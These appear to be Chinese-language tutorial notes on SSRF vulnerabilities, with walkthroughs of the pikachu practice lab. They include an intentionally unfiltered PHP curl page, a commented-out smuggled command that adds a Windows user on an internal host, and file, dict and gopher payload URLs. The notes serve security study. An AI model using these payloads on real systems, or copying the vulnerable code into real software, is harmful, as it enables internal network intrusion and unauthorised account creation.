1. 目标
从外网无法访问的内部系统
2. 原因
由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
数据流:攻击者→服务器→目标地址
php中的这三个函数curl_exec()函数(进行目标地址解析),file_get_contents()→将整个文件读入一个字符串,fsockopen()→打开一个网络连接或者一个Unix套接字连接使用不当就会造成SSRF漏洞。
3.原理
当攻击者想要访问服务器B上的服务,但是由于存在防火墙或者服务器B是属于内网主机等原因导致攻击者无法直接访问。如果服务器A存在SSRF漏洞,这时攻击者可以借助服务器A来发起SSRF攻击,通过服务器A向主机B发起请求,达到攻击内网的目的。
4.危害
(1)扫内网
(2)向内部任意主机的任意端口发送精心构造的Payload
(3)DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
(4)攻击内网的web应用,主要是使用GET参数就可以实现的攻击(比如struts2,sqli等)
(5)利用file、gopher、dict协议读取本地文件、执行命令等
5.漏洞检测
(1)抓包分析
(2)ssrfmap(利用它可检测与利用 SSRF 漏洞)
6. pikachu靶场
6.1 SSRF(curl)
支持多种协议(file http https等)
服务器没有对传进来的URL参数进行过滤,并且把服务器请求的结果输出到了前端。
此时的url是http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/pikachu/vul/ssrf/ssrf_info/info1.php
漏洞利用
(1)利用http协议探测内网存活主机(信息):将url改为内网的其他主机ip
输入url http://127.0.0.1/pikachu/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/
(2)利用file协议读取文件
注:文件nihao.txt内容就是hello
(3)扫描内网端口(http(s)协议和dict协议):
6.2 SSRF(file-get-content)
读取文件内容
注:文件nihao.txt内容就是hello
输入url http://127.0.0.1/pikachu/vul/ssrf/ssrf_fgc.php?file=file://C:\nihao.txt
7.代码构造及漏洞利用
ssrf.php
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<form action="" method="POST">
请输入图片地址:<input type='text' name='url'>
<input type='submit' value="提交">
</form>
<?php
/*
$url=$_POST['url'];
$img
=
file_get_contents('http://192.168.64.144:8080/?search==%00{.exec|cmd.exe /c net user test1234 1234 /add.}');
echo $url;
echo $img;
//header("Content-Type: image/jpeg;text/html; charset=utf-8");
//echo $img;
//$file=fopen('x.png','w+');
//fwrite($file,$img);
//fclose($file);
*/
?>
<?php
$_POST['url'];
$ch = curl_init();curl_setopt($ch, CURLOPT_URL, $_POST['url']);
curl_setopt($ch, CURLOPT_HEADER, false);
curl_exec($ch);
curl_close($ch);
?>
输入http://127.0.0.1:3306
可以获得数据库版本,黑客就是通过ssrf攻击获取内网主机的信息
8.漏洞利用协议总结
http
file(本地) file://D:/www.txt
dict dict://192.168.64.144:3306/info
ftp ftp://192.168.64.144:21
gopher